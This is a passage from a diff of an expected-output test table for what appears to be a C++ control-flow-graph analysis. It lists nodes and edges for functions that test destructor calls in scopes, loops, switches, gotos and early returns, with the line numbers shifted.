BoxedInt::BoxedInt | true | 86 | 80 | | -| BoxedInt::BoxedInt | true | 88 | 70 | | -| BoxedInt::BoxedInt | true | 90 | 86 | | -| BoxedInt::operator int | false | 112 | 112 | operator int | -| BoxedInt::operator int | false | 116 | 116 | this | -| BoxedInt::operator int | false | 117 | 117 | m_ptr | -| BoxedInt::operator int | false | 119 | 119 | * ... | -| BoxedInt::operator int | false | 121 | 121 | return ... | -| BoxedInt::operator int | false | 123 | 123 | { ... } | -| BoxedInt::operator int | true | 116 | 117 | | -| BoxedInt::operator int | true | 117 | 119 | | -| BoxedInt::operator int | true | 119 | 112 | | -| BoxedInt::operator int | true | 121 | 116 | | -| BoxedInt::operator int | true | 123 | 121 | | -| BoxedInt::operator= | false | 132 | 132 | operator= | -| BoxedInt::~BoxedInt | false | 93 | 93 | ~BoxedInt | -| BoxedInt::~BoxedInt | false | 100 | 100 | this | -| BoxedInt::~BoxedInt | false | 101 | 101 | m_ptr | -| BoxedInt::~BoxedInt | false | 103 | 103 | delete | -| BoxedInt::~BoxedInt | false | 105 | 105 | ExprStmt | -| BoxedInt::~BoxedInt | false | 107 | 107 | return ... | -| BoxedInt::~BoxedInt | false | 109 | 109 | { ... } | -| BoxedInt::~BoxedInt | true | 100 | 101 | | -| BoxedInt::~BoxedInt | true | 101 | 103 | | -| BoxedInt::~BoxedInt | true | 103 | 107 | | -| BoxedInt::~BoxedInt | true | 105 | 100 | | -| BoxedInt::~BoxedInt | true | 107 | 93 | | -| BoxedInt::~BoxedInt | true | 109 | 105 | | -| NonTrivial::operator= | false | 799 | 799 | operator= | -| NonTrivial::~NonTrivial | false | 480 | 480 | ~NonTrivial | -| NonTrivial::~NonTrivial | false | 788 | 788 | return ... | -| NonTrivial::~NonTrivial | false | 790 | 790 | { ... } | -| NonTrivial::~NonTrivial | true | 788 | 480 | | -| NonTrivial::~NonTrivial | true | 790 | 788 | | -| __va_list_tag::operator= | false | 54 | 54 | operator= | -| __va_list_tag::operator= | false | 60 | 60 | operator= | -| early_return | false | 506 | 506 | early_return | -| early_return | false | 513 | 513 | declaration | -| early_return | false | 515 | 515 | x | -| early_return | false | 517 | 517 | (bool)... | -| early_return | false | 522 | 522 | declaration | -| early_return | false | 524 | 524 | return ... | -| early_return | false | 526 | 526 | { ... } | -| early_return | false | 528 | 528 | if (...) ... | -| early_return | false | 533 | 533 | declaration | -| early_return | false | 535 | 535 | return ... | -| early_return | false | 537 | 537 | { ... } | -| early_return | false | 539 | 539 | before | -| early_return | false | 541 | 541 | call to before.~NonTrivial | -| early_return | false | 542 | 542 | after | -| early_return | false | 543 | 543 | call to after.~NonTrivial | -| early_return | false | 544 | 544 | inner | -| early_return | false | 546 | 546 | call to inner.~NonTrivial | -| early_return | false | 547 | 547 | inner | -| early_return | false | 548 | 548 | call to inner.~NonTrivial | -| early_return | true | 513 | 528 | | -| early_return | true | 515 | 526 | T | -| early_return | true | 515 | 533 | F | -| early_return | true | 522 | 524 | | -| early_return | true | 524 | 547 | | -| early_return | true | 526 | 522 | | -| early_return | true | 528 | 515 | | -| early_return | true | 533 | 535 | | -| early_return | true | 535 | 542 | | -| early_return | true | 537 | 513 | | -| early_return | true | 539 | 541 | | -| early_return | true | 541 | 506 | | -| early_return | true | 542 | 543 | | -| early_return | true | 543 | 539 | | -| early_return | true | 544 | 546 | | -| early_return | true | 546 | 533 | | -| early_return | true | 547 | 548 | | -| early_return | true | 548 | 539 | | -| early_throw | false | 551 | 551 | early_throw | -| early_throw | false | 558 | 558 | declaration | -| early_throw | false | 560 | 560 | x | -| early_throw | false | 562 | 562 | (bool)... | -| early_throw | false | 567 | 567 | declaration | -| early_throw | false | 569 | 569 | re-throw exception | -| early_throw | false | 571 | 571 | ExprStmt | -| early_throw | false | 573 | 573 | { ... } | -| early_throw | false | 575 | 575 | if (...) ... | -| early_throw | false | 580 | 580 | declaration | -| early_throw | false | 582 | 582 | return ... | -| early_throw | false | 584 | 584 | { ... } | -| early_throw | false | 586 | 586 | before | -| early_throw | false | 588 | 588 | call to before.~NonTrivial | -| early_throw | false | 589 | 589 | after | -| early_throw | false | 590 | 590 | call to after.~NonTrivial | -| early_throw | false | 591 | 591 | inner | -| early_throw | false | 593 | 593 | call to inner.~NonTrivial | -| early_throw | false | 594 | 594 | before | -| early_throw | false | 595 | 595 | call to before.~NonTrivial | -| early_throw | false | 596 | 596 | inner | -| early_throw | false | 597 | 597 | call to inner.~NonTrivial | -| early_throw | true | 558 | 575 | | -| early_throw | true | 560 | 573 | T | -| early_throw | true | 560 | 580 | F | -| early_throw | true | 567 | 571 | | -| early_throw | true | 569 | 596 | | -| early_throw | true | 571 | 569 | | -| early_throw | true | 573 | 567 | | -| early_throw | true | 575 | 560 | | -| early_throw | true | 580 | 582 | | -| early_throw | true | 582 | 589 | | -| early_throw | true | 584 | 558 | | -| early_throw | true | 586 | 588 | | -| early_throw | true | 588 | 551 | | -| early_throw | true | 589 | 590 | | -| early_throw | true | 590 | 586 | | -| early_throw | true | 591 | 593 | | -| early_throw | true | 593 | 580 | | -| early_throw | true | 594 | 595 | | -| early_throw | true | 595 | 551 | | -| early_throw | true | 596 | 597 | | -| early_throw | true | 597 | 594 | | -| for_decl_bind | false | 353 | 353 | for_decl_bind | -| for_decl_bind | false | 358 | 358 | call to BoxedInt | -| for_decl_bind | false | 360 | 360 | x | -| for_decl_bind | false | 362 | 362 | - ... | -| for_decl_bind | false | 364 | 364 | initializer for init | -| for_decl_bind | false | 369 | 369 | call to operator int | -| for_decl_bind | false | 371 | 371 | call to BoxedInt | -| for_decl_bind | false | 373 | 373 | x | -| for_decl_bind | false | 375 | 375 | initializer for bi | -| for_decl_bind | false | 379 | 379 | bi | -| for_decl_bind | false | 381 | 381 | (bool)... | -| for_decl_bind | false | 382 | 382 | (condition decl) | -| for_decl_bind | false | 384 | 384 | x | -| for_decl_bind | false | 386 | 386 | ++ ... | -| for_decl_bind | false | 388 | 388 | ExprStmt | -| for_decl_bind | false | 390 | 390 | { ... } | -| for_decl_bind | false | 392 | 392 | declaration | -| for_decl_bind | false | 394 | 394 | x | -| for_decl_bind | false | 398 | 398 | 2 | -| for_decl_bind | false | 399 | 399 | ... *= ... | -| for_decl_bind | false | 401 | 401 | for(...;...;...) ... | -| for_decl_bind | false | 403 | 403 | x | -| for_decl_bind | false | 405 | 405 | -- ... | -| for_decl_bind | false | 407 | 407 | ExprStmt | -| for_decl_bind | false | 409 | 409 | return ... | -| for_decl_bind | false | 411 | 411 | { ... } | -| for_decl_bind | false | 413 | 413 | init | -| for_decl_bind | false | 415 | 415 | call to init.~BoxedInt | -| for_decl_bind | false | 416 | 416 | bi | -| for_decl_bind | false | 418 | 418 | call to bi.~BoxedInt | -| for_decl_bind | false | 419 | 419 | bi | -| for_decl_bind | false | 420 | 420 | call to bi.~BoxedInt | -| for_decl_bind | true | 358 | 373 | | -| for_decl_bind | true | 360 | 362 | | -| for_decl_bind | true | 362 | 358 | | -| for_decl_bind | true | 364 | 360 | | -| for_decl_bind | true | 371 | 382 | | -| for_decl_bind | true | 373 | 371 | | -| for_decl_bind | true | 382 | 390 | T | -| for_decl_bind | true | 382 | 416 | F | -| for_decl_bind | true | 384 | 386 | | -| for_decl_bind | true | 386 | 394 | | -| for_decl_bind | true | 388 | 384 | | -| for_decl_bind | true | 390 | 388 | | -| for_decl_bind | true | 392 | 364 | | -| for_decl_bind | true | 394 | 398 | | -| for_decl_bind | true | 398 | 399 | | -| for_decl_bind | true | 399 | 419 | | -| for_decl_bind | true | 401 | 392 | | -| for_decl_bind | true | 403 | 405 | | -| for_decl_bind | true | 405 | 409 | | -| for_decl_bind | true | 407 | 403 | | -| for_decl_bind | true | 409 | 353 | | -| for_decl_bind | true | 411 | 401 | | -| for_decl_bind | true | 413 | 415 | | -| for_decl_bind | true | 415 | 407 | | -| for_decl_bind | true | 416 | 418 | | -| for_decl_bind | true | 418 | 413 | | -| for_decl_bind | true | 419 | 420 | | -| for_decl_bind | true | 420 | 373 | | -| for_loop_scope | false | 600 | 600 | for_loop_scope | -| for_loop_scope | false | 607 | 607 | declaration | -| for_loop_scope | false | 612 | 612 | x | -| for_loop_scope | false | 616 | 616 | 10 | -| for_loop_scope | false | 617 | 617 | ... < ... | -| for_loop_scope | false | 622 | 622 | declaration | -| for_loop_scope | false | 624 | 624 | { ... } | -| for_loop_scope | false | 626 | 626 | declaration | -| for_loop_scope | false | 628 | 628 | x | -| for_loop_scope | false | 630 | 630 | ++ ... | -| for_loop_scope | false | 632 | 632 | for(...;...;...) ... | -| for_loop_scope | false | 634 | 634 | return ... | -| for_loop_scope | false | 636 | 636 | { ... } | -| for_loop_scope | false | 638 | 638 | outer_scope | -| for_loop_scope | false | 640 | 640 | call to outer_scope.~NonTrivial | -| for_loop_scope | false | 641 | 641 | for_scope | -| for_loop_scope | false | 643 | 643 | call to for_scope.~NonTrivial | -| for_loop_scope | false | 644 | 644 | inner_scope | -| for_loop_scope | false | 646 | 646 | call to inner_scope.~NonTrivial | -| for_loop_scope | true | 607 | 632 | | -| for_loop_scope | true | 612 | 616 | | -| for_loop_scope | true | 616 | 617 | | -| for_loop_scope | true | 617 | 624 | T | -| for_loop_scope | true | 617 | 641 | F | -| for_loop_scope | true | 622 | 644 | | -| for_loop_scope | true | 624 | 622 | | -| for_loop_scope | true | 626 | 612 | | -| for_loop_scope | true | 628 | 630 | | -| for_loop_scope | true | 630 | 612 | | -| for_loop_scope | true | 632 | 626 | | -| for_loop_scope | true | 634 | 638 | | -| for_loop_scope | true | 636 | 607 | | -| for_loop_scope | true | 638 | 640 | | -| for_loop_scope | true | 640 | 600 | | -| for_loop_scope | true | 641 | 643 | | -| for_loop_scope | true | 643 | 634 | | -| for_loop_scope | true | 644 | 646 | | -| for_loop_scope | true | 646 | 628 | | -| gotos | false | 664 | 664 | gotos | -| gotos | false | 674 | 674 | declaration | -| gotos | false | 676 | 676 | x | -| gotos | false | 678 | 678 | (bool)... | -| gotos | false | 682 | 682 | goto ... | -| gotos | false | 684 | 684 | if (...) ... | -| gotos | false | 686 | 686 | x | -| gotos | false | 688 | 688 | ++ ... | -| gotos | false | 690 | 690 | initializer for y | -| gotos | false | 698 | 698 | declaration | -| gotos | false | 700 | 700 | label ...: | -| gotos | false | 702 | 702 | declaration | -| gotos | false | 704 | 704 | y | -| gotos | false | 706 | 706 | (bool)... | -| gotos | false | 710 | 710 | goto ... | -| gotos | false | 712 | 712 | if (...) ... | -| gotos | false | 714 | 714 | declaration | -| gotos | false | 716 | 716 | { ... } | -| gotos | false | 718 | 718 | label ...: | -| gotos | false | 720 | 720 | x | -| gotos | false | 722 | 722 | -- ... | -| gotos | false | 724 | 724 | ExprStmt | -| gotos | false | 726 | 726 | return ... | -| gotos | false | 728 | 728 | { ... } | -| gotos | false | 730 | 730 | nt1 | -| gotos | false | 732 | 732 | call to nt1.~NonTrivial | -| gotos | false | 733 | 733 | nt2 | -| gotos | false | 735 | 735 | call to nt2.~NonTrivial | -| gotos | false | 736 | 736 | nt3 | -| gotos | false | 737 | 737 | call to nt3.~NonTrivial | -| gotos | false | 738 | 738 | nt2 | -| gotos | false | 739 | 739 | call to nt2.~NonTrivial | -| gotos | true | 674 | 684 | | -| gotos | true | 676 | 682 | T | -| gotos | true | 676 | 716 | F | -| gotos | true | 682 | 700 | | -| gotos | true | 684 | 676 | | -| gotos | true | 686 | 688 | | -| gotos | true | 688 | 700 | | -| gotos | true | 690 | 686 | | -| gotos | true | 698 | 690 | | -| gotos | true | 698 | 700 | | -| gotos | true | 700 | 702 | | -| gotos | true | 702 | 712 | | -| gotos | true | 704 | 710 | T | -| gotos | true | 704 | 714 | F | -| gotos | true | 710 | 738 | | -| gotos | true | 712 | 704 | | -| gotos | true | 714 | 736 | | -| gotos | true | 716 | 698 | | -| gotos | true | 718 | 724 | | -| gotos | true | 720 | 722 | | -| gotos | true | 722 | 726 | | -| gotos | true | 724 | 720 | | -| gotos | true | 726 | 730 | | -| gotos | true | 728 | 674 | | -| gotos | true | 730 | 732 | | -| gotos | true | 732 | 664 | | -| gotos | true | 733 | 735 | | -| gotos | true | 735 | 718 | | -| gotos | true | 736 | 737 | | -| gotos | true | 737 | 733 | | -| gotos | true | 738 | 739 | | -| gotos | true | 739 | 718 | | -| if_decl_bind | false | 144 | 144 | if_decl_bind | -| if_decl_bind | false | 151 | 151 | call to operator int | -| if_decl_bind | false | 153 | 153 | call to BoxedInt | -| if_decl_bind | false | 155 | 155 | x | -| if_decl_bind | false | 157 | 157 | initializer for bi | -| if_decl_bind | false | 161 | 161 | bi | -| if_decl_bind | false | 163 | 163 | (bool)... | -| if_decl_bind | false | 164 | 164 | (condition decl) | -| if_decl_bind | false | 166 | 166 | bi | -| if_decl_bind | false | 168 | 168 | m_ptr | -| if_decl_bind | false | 170 | 170 | * ... | -| if_decl_bind | false | 172 | 172 | ++ ... | -| if_decl_bind | false | 174 | 174 | ExprStmt | -| if_decl_bind | false | 176 | 176 | { ... } | -| if_decl_bind | false | 178 | 178 | bi | -| if_decl_bind | false | 180 | 180 | m_ptr | -| if_decl_bind | false | 182 | 182 | * ... | -| if_decl_bind | false | 184 | 184 | -- ... | -| if_decl_bind | false | 186 | 186 | ExprStmt | -| if_decl_bind | false | 188 | 188 | { ... } | -| if_decl_bind | false | 190 | 190 | if (...) ... | -| if_decl_bind | false | 192 | 192 | x | -| if_decl_bind | false | 196 | 196 | 1 | -| if_decl_bind | false | 197 | 197 | ... = ... | -| if_decl_bind | false | 199 | 199 | ExprStmt | -| if_decl_bind | false | 201 | 201 | return ... | -| if_decl_bind | false | 203 | 203 | { ... } | -| if_decl_bind | false | 205 | 205 | bi | -| if_decl_bind | false | 207 | 207 | call to bi.~BoxedInt | -| if_decl_bind | true | 153 | 164 | | -| if_decl_bind | true | 155 | 153 | | -| if_decl_bind | true | 164 | 176 | T | -| if_decl_bind | true | 164 | 188 | F | -| if_decl_bind | true | 166 | 168 | | -| if_decl_bind | true | 168 | 170 | | -| if_decl_bind | true | 170 | 172 | | -| if_decl_bind | true | 172 | 205 | | -| if_decl_bind | true | 174 | 166 | | -| if_decl_bind | true | 176 | 174 | | -| if_decl_bind | true | 178 | 180 | | -| if_decl_bind | true | 180 | 182 | | -| if_decl_bind | true | 182 | 184 | | -| if_decl_bind | true | 184 | 205 | | -| if_decl_bind | true | 186 | 178 | | -| if_decl_bind | true | 188 | 186 | | -| if_decl_bind | true | 190 | 155 | | -| if_decl_bind | true | 192 | 197 | | -| if_decl_bind | true | 196 | 192 | | -| if_decl_bind | true | 197 | 201 | | -| if_decl_bind | true | 199 | 196 | | -| if_decl_bind | true | 201 | 144 | | -| if_decl_bind | true | 203 | 190 | | -| if_decl_bind | true | 205 | 207 | | -| if_decl_bind | true | 207 | 199 | | -| never_destructs | false | 648 | 648 | never_destructs | -| never_destructs | false | 654 | 654 | declaration | -| never_destructs | false | 656 | 656 | label ...: | -| never_destructs | false | 658 | 658 | goto ... | -| never_destructs | false | 660 | 660 | { ... } | -| never_destructs | true | 654 | 656 | | -| never_destructs | true | 656 | 658 | | -| never_destructs | true | 658 | 656 | | -| never_destructs | true | 660 | 654 | | -| operator delete | false | 97 | 97 | operator delete | -| operator new | false | 78 | 78 | operator new | -| simple | false | 464 | 464 | simple | -| simple | false | 471 | 471 | declaration | -| simple | false | 473 | 473 | return ... | -| simple | false | 475 | 475 | { ... } | -| simple | false | 477 | 477 | nt | -| simple | false | 479 | 479 | call to nt.~NonTrivial | -| simple | true | 471 | 473 | | -| simple | true | 473 | 477 | | -| simple | true | 475 | 471 | | -| simple | true | 477 | 479 | | -| simple | true | 479 | 464 | | -| simple2 | false | 482 | 482 | simple2 | -| simple2 | false | 488 | 488 | declaration | -| simple2 | false | 493 | 493 | declaration | -| simple2 | false | 495 | 495 | return ... | -| simple2 | false | 497 | 497 | { ... } | -| simple2 | false | 499 | 499 | one | -| simple2 | false | 501 | 501 | call to one.~NonTrivial | -| simple2 | false | 502 | 502 | two | -| simple2 | false | 503 | 503 | call to two.~NonTrivial | -| simple2 | true | 488 | 493 | | -| simple2 | true | 493 | 495 | | -| simple2 | true | 495 | 502 | | -| simple2 | true | 497 | 488 | | -| simple2 | true | 499 | 501 | | -| simple2 | true | 501 | 482 | | -| simple2 | true | 502 | 503 | | -| simple2 | true | 503 | 499 | | -| switch_decl_bind | false | 210 | 210 | switch_decl_bind | -| switch_decl_bind | false | 215 | 215 | call to operator int | -| switch_decl_bind | false | 217 | 217 | call to BoxedInt | -| switch_decl_bind | false | 219 | 219 | x | -| switch_decl_bind | false | 221 | 221 | initializer for bi | -| switch_decl_bind | false | 225 | 225 | bi | -| switch_decl_bind | false | 227 | 227 | (condition decl) | -| switch_decl_bind | false | 231 | 231 | 0 | -| switch_decl_bind | false | 232 | 232 | case ...: | -| switch_decl_bind | false | 234 | 234 | bi | -| switch_decl_bind | false | 236 | 236 | m_ptr | -| switch_decl_bind | false | 238 | 238 | * ... | -| switch_decl_bind | false | 240 | 240 | -- ... | -| switch_decl_bind | false | 242 | 242 | ExprStmt | -| switch_decl_bind | false | 244 | 244 | break; | -| switch_decl_bind | false | 248 | 248 | 1 | -| switch_decl_bind | false | 249 | 249 | case ...: | -| switch_decl_bind | false | 251 | 251 | bi | -| switch_decl_bind | false | 253 | 253 | m_ptr | -| switch_decl_bind | false | 255 | 255 | * ... | -| switch_decl_bind | false | 257 | 257 | ++ ... | -| switch_decl_bind | false | 259 | 259 | ExprStmt | -| switch_decl_bind | false | 261 | 261 | break; | -| switch_decl_bind | false | 263 | 263 | default: | -| switch_decl_bind | false | 265 | 265 | bi | -| switch_decl_bind | false | 267 | 267 | m_ptr | -| switch_decl_bind | false | 269 | 269 | * ... | -| switch_decl_bind | false | 273 | 273 | 2 | -| switch_decl_bind | false | 274 | 274 | ... /= ... | -| switch_decl_bind | false | 276 | 276 | ExprStmt | -| switch_decl_bind | false | 278 | 278 | { ... } | -| switch_decl_bind | false | 280 | 280 | switch (...) ... | -| switch_decl_bind | false | 282 | 282 | label ...: | -| switch_decl_bind | false | 284 | 284 | x | -| switch_decl_bind | false | 288 | 288 | 1 | -| switch_decl_bind | false | 289 | 289 | ... = ... | -| switch_decl_bind | false | 291 | 291 | ExprStmt | -| switch_decl_bind | false | 293 | 293 | return ... | -| switch_decl_bind | false | 295 | 295 | { ... } | -| switch_decl_bind | false | 297 | 297 | bi | -| switch_decl_bind | false | 299 | 299 | call to bi.~BoxedInt | -| switch_decl_bind | false | 300 | 300 | bi | -| switch_decl_bind | false | 301 | 301 | call to bi.~BoxedInt | -| switch_decl_bind | false | 302 | 302 | bi | -| switch_decl_bind | false | 303 | 303 | call to bi.~BoxedInt | -| switch_decl_bind | true | 217 | 227 | | -| switch_decl_bind | true | 219 | 217 | | -| switch_decl_bind | true | 227 | 278 | | -| switch_decl_bind | true | 232 | 242 | | -| switch_decl_bind | true | 234 | 236 | | -| switch_decl_bind | true | 236 | 238 | | -| switch_decl_bind | true | 238 | 240 | | -| switch_decl_bind | true | 240 | 244 | | -| switch_decl_bind | true | 242 | 234 | | -| switch_decl_bind | true | 244 | 302 | | -| switch_decl_bind | true | 249 | 259 | | -| switch_decl_bind | true | 251 | 253 | | -| switch_decl_bind | true | 253 | 255 | | -| switch_decl_bind | true | 255 | 257 | | -| switch_decl_bind | true | 257 | 261 | | -| switch_decl_bind | true | 259 | 251 | | -| switch_decl_bind | true | 261 | 300 | | -| switch_decl_bind | true | 263 | 276 | | -| switch_decl_bind | true | 265 | 267 | | -| switch_decl_bind | true | 267 | 269 | | -| switch_decl_bind | true | 269 | 273 | | -| switch_decl_bind | true | 273 | 274 | | -| switch_decl_bind | true | 274 | 297 | | -| switch_decl_bind | true | 276 | 265 | | -| switch_decl_bind | true | 278 | 232 | | -| switch_decl_bind | true | 278 | 249 | | -| switch_decl_bind | true | 278 | 263 | | -| switch_decl_bind | true | 280 | 219 | | -| switch_decl_bind | true | 282 | 291 | | -| switch_decl_bind | true | 284 | 289 | | -| switch_decl_bind | true | 288 | 284 | | -| switch_decl_bind | true | 289 | 293 | | -| switch_decl_bind | true | 291 | 288 | | -| switch_decl_bind | true | 293 | 210 | | -| switch_decl_bind | true | 295 | 280 | | -| switch_decl_bind | true | 297 | 299 | | -| switch_decl_bind | true | 299 | 282 | | -| switch_decl_bind | true | 300 | 301 | | -| switch_decl_bind | true | 301 | 282 | | -| switch_decl_bind | true | 302 | 303 | | -| switch_decl_bind | true | 303 | 282 | | -| while_decl_bind | false | 306 | 306 | while_decl_bind | -| while_decl_bind | false | 311 | 311 | call to operator int | -| while_decl_bind | false | 313 | 313 | call to BoxedInt | -| while_decl_bind | false | 315 | 315 | x | -| while_decl_bind | false | 317 | 317 | initializer for bi | -| while_decl_bind | false | 321 | 321 | bi | -| while_decl_bind | false | 323 | 323 | (bool)... | -| while_decl_bind | false | 324 | 324 | (condition decl) | -| while_decl_bind | false | 326 | 326 | x | -| while_decl_bind | false | 328 | 328 | -- ... | -| while_decl_bind | false | 330 | 330 | ExprStmt | -| while_decl_bind | false | 332 | 332 | { ... } | -| while_decl_bind | false | 334 | 334 | while (...) ... | -| while_decl_bind | false | 336 | 336 | x | -| while_decl_bind | false | 338 | 338 | ++ ... | -| while_decl_bind | false | 340 | 340 | ExprStmt | -| while_decl_bind | false | 342 | 342 | return ... | -| while_decl_bind | false | 344 | 344 | { ... } | -| while_decl_bind | false | 346 | 346 | bi | -| while_decl_bind | false | 348 | 348 | call to bi.~BoxedInt | -| while_decl_bind | false | 349 | 349 | bi | -| while_decl_bind | false | 350 | 350 | call to bi.~BoxedInt | -| while_decl_bind | true | 313 | 324 | | -| while_decl_bind | true | 315 | 313 | | -| while_decl_bind | true | 324 | 332 | T | -| while_decl_bind | true | 324 | 346 | F | -| while_decl_bind | true | 326 | 328 | | -| while_decl_bind | true | 328 | 349 | | -| while_decl_bind | true | 330 | 326 | | -| while_decl_bind | true | 332 | 330 | | -| while_decl_bind | true | 334 | 315 | | -| while_decl_bind | true | 336 | 338 | | -| while_decl_bind | true | 338 | 342 | | -| while_decl_bind | true | 340 | 336 | | -| while_decl_bind | true | 342 | 306 | | -| while_decl_bind | true | 344 | 334 | | -| while_decl_bind | true | 346 | 348 | | -| while_decl_bind | true | 348 | 340 | | -| while_decl_bind | true | 349 | 350 | | -| while_decl_bind | true | 350 | 315 | | +| BoxedInt::BoxedInt | false | 196 | 196 | BoxedInt | +| BoxedInt::BoxedInt | false | 484 | 484 | BoxedInt | +| BoxedInt::BoxedInt | false | 527 | 527 | this | +| BoxedInt::BoxedInt | false | 528 | 528 | m_ptr | +| BoxedInt::BoxedInt | false | 532 | 532 | x | +| BoxedInt::BoxedInt | false | 534 | 534 | new | +| BoxedInt::BoxedInt | false | 536 | 536 | ... = ... | +| BoxedInt::BoxedInt | false | 538 | 538 | ExprStmt | +| BoxedInt::BoxedInt | false | 540 | 540 | return ... | +| BoxedInt::BoxedInt | false | 542 | 542 | { ... } | +| BoxedInt::BoxedInt | true | 527 | 528 | | +| BoxedInt::BoxedInt | true | 528 | 536 | | +| BoxedInt::BoxedInt | true | 532 | 534 | | +| BoxedInt::BoxedInt | true | 534 | 527 | | +| BoxedInt::BoxedInt | true | 536 | 540 | | +| BoxedInt::BoxedInt | true | 538 | 532 | | +| BoxedInt::BoxedInt | true | 540 | 196 | | +| BoxedInt::BoxedInt | true | 542 | 538 | | +| BoxedInt::operator int | false | 204 | 204 | operator int | +| BoxedInt::operator int | false | 494 | 494 | this | +| BoxedInt::operator int | false | 495 | 495 | m_ptr | +| BoxedInt::operator int | false | 497 | 497 | * ... | +| BoxedInt::operator int | false | 499 | 499 | return ... | +| BoxedInt::operator int | false | 501 | 501 | { ... } | +| BoxedInt::operator int | true | 494 | 495 | | +| BoxedInt::operator int | true | 495 | 497 | | +| BoxedInt::operator int | true | 497 | 204 | | +| BoxedInt::operator int | true | 499 | 494 | | +| BoxedInt::operator int | true | 501 | 499 | | +| BoxedInt::operator= | false | 477 | 477 | operator= | +| BoxedInt::~BoxedInt | false | 254 | 254 | ~BoxedInt | +| BoxedInt::~BoxedInt | false | 509 | 509 | this | +| BoxedInt::~BoxedInt | false | 510 | 510 | m_ptr | +| BoxedInt::~BoxedInt | false | 512 | 512 | delete | +| BoxedInt::~BoxedInt | false | 514 | 514 | ExprStmt | +| BoxedInt::~BoxedInt | false | 516 | 516 | return ... | +| BoxedInt::~BoxedInt | false | 518 | 518 | { ... } | +| BoxedInt::~BoxedInt | true | 509 | 510 | | +| BoxedInt::~BoxedInt | true | 510 | 512 | | +| BoxedInt::~BoxedInt | true | 512 | 516 | | +| BoxedInt::~BoxedInt | true | 514 | 509 | | +| BoxedInt::~BoxedInt | true | 516 | 254 | | +| BoxedInt::~BoxedInt | true | 518 | 514 | | +| NonTrivial::operator= | false | 875 | 875 | operator= | +| NonTrivial::~NonTrivial | false | 649 | 649 | ~NonTrivial | +| NonTrivial::~NonTrivial | false | 886 | 886 | return ... | +| NonTrivial::~NonTrivial | false | 888 | 888 | { ... } | +| NonTrivial::~NonTrivial | true | 886 | 649 | | +| NonTrivial::~NonTrivial | true | 888 | 886 | | +| __va_list_tag::operator= | false | 95 | 95 | operator= | +| __va_list_tag::operator= | false | 102 | 102 | operator= | +| early_return | false | 777 | 777 | early_return | +| early_return | false | 785 | 785 | declaration | +| early_return | false | 787 | 787 | x | +| early_return | false | 789 | 789 | (bool)... | +| early_return | false | 793 | 793 | declaration | +| early_return | false | 795 | 795 | return ... | +| early_return | false | 797 | 797 | { ... } | +| early_return | false | 799 | 799 | if (...) ... | +| early_return | false | 801 | 801 | declaration | +| early_return | false | 803 | 803 | return ... | +| early_return | false | 805 | 805 | { ... } | +| early_return | false | 807 | 807 | before | +| early_return | false | 809 | 809 | call to before.~NonTrivial | +| early_return | false | 810 | 810 | after | +| early_return | false | 811 | 811 | call to after.~NonTrivial | +| early_return | false | 812 | 812 | inner | +| early_return | false | 814 | 814 | call to inner.~NonTrivial | +| early_return | false | 815 | 815 | inner | +| early_return | false | 816 | 816 | call to inner.~NonTrivial | +| early_return | true | 785 | 799 | | +| early_return | true | 787 | 797 | T | +| early_return | true | 787 | 801 | F | +| early_return | true | 793 | 795 | | +| early_return | true | 795 | 815 | | +| early_return | true | 797 | 793 | | +| early_return | true | 799 | 787 | | +| early_return | true | 801 | 803 | | +| early_return | true | 803 | 810 | | +| early_return | true | 805 | 785 | | +| early_return | true | 807 | 809 | | +| early_return | true | 809 | 777 | | +| early_return | true | 810 | 811 | | +| early_return | true | 811 | 807 | | +| early_return | true | 812 | 814 | | +| early_return | true | 814 | 801 | | +| early_return | true | 815 | 816 | | +| early_return | true | 816 | 807 | | +| early_throw | false | 727 | 727 | early_throw | +| early_throw | false | 735 | 735 | declaration | +| early_throw | false | 737 | 737 | x | +| early_throw | false | 739 | 739 | (bool)... | +| early_throw | false | 743 | 743 | declaration | +| early_throw | false | 745 | 745 | re-throw exception | +| early_throw | false | 747 | 747 | ExprStmt | +| early_throw | false | 749 | 749 | { ... } | +| early_throw | false | 751 | 751 | if (...) ... | +| early_throw | false | 753 | 753 | declaration | +| early_throw | false | 755 | 755 | return ... | +| early_throw | false | 757 | 757 | { ... } | +| early_throw | false | 759 | 759 | before | +| early_throw | false | 761 | 761 | call to before.~NonTrivial | +| early_throw | false | 762 | 762 | after | +| early_throw | false | 763 | 763 | call to after.~NonTrivial | +| early_throw | false | 764 | 764 | inner | +| early_throw | false | 766 | 766 | call to inner.~NonTrivial | +| early_throw | false | 767 | 767 | before | +| early_throw | false | 768 | 768 | call to before.~NonTrivial | +| early_throw | false | 769 | 769 | inner | +| early_throw | false | 770 | 770 | call to inner.~NonTrivial | +| early_throw | true | 735 | 751 | | +| early_throw | true | 737 | 749 | T | +| early_throw | true | 737 | 753 | F | +| early_throw | true | 743 | 747 | | +| early_throw | true | 745 | 769 | | +| early_throw | true | 747 | 745 | | +| early_throw | true | 749 | 743 | | +| early_throw | true | 751 | 737 | | +| early_throw | true | 753 | 755 | | +| early_throw | true | 755 | 762 | | +| early_throw | true | 757 | 735 | | +| early_throw | true | 759 | 761 | | +| early_throw | true | 761 | 727 | | +| early_throw | true | 762 | 763 | | +| early_throw | true | 763 | 759 | | +| early_throw | true | 764 | 766 | | +| early_throw | true | 766 | 753 | | +| early_throw | true | 767 | 768 | | +| early_throw | true | 768 | 727 | | +| early_throw | true | 769 | 770 | | +| early_throw | true | 770 | 767 | | +| for_decl_bind | false | 185 | 185 | for_decl_bind | +| for_decl_bind | false | 194 | 194 | call to BoxedInt | +| for_decl_bind | false | 197 | 197 | x | +| for_decl_bind | false | 199 | 199 | - ... | +| for_decl_bind | false | 201 | 201 | initializer for init | +| for_decl_bind | false | 208 | 208 | call to operator int | +| for_decl_bind | false | 210 | 210 | call to BoxedInt | +| for_decl_bind | false | 212 | 212 | x | +| for_decl_bind | false | 214 | 214 | initializer for bi | +| for_decl_bind | false | 217 | 217 | bi | +| for_decl_bind | false | 219 | 219 | (bool)... | +| for_decl_bind | false | 220 | 220 | (condition decl) | +| for_decl_bind | false | 222 | 222 | x | +| for_decl_bind | false | 224 | 224 | ++ ... | +| for_decl_bind | false | 226 | 226 | ExprStmt | +| for_decl_bind | false | 228 | 228 | { ... } | +| for_decl_bind | false | 230 | 230 | declaration | +| for_decl_bind | false | 232 | 232 | x | +| for_decl_bind | false | 236 | 236 | 2 | +| for_decl_bind | false | 237 | 237 | ... *= ... | +| for_decl_bind | false | 239 | 239 | for(...;...;...) ... | +| for_decl_bind | false | 241 | 241 | x | +| for_decl_bind | false | 243 | 243 | -- ... | +| for_decl_bind | false | 245 | 245 | ExprStmt | +| for_decl_bind | false | 247 | 247 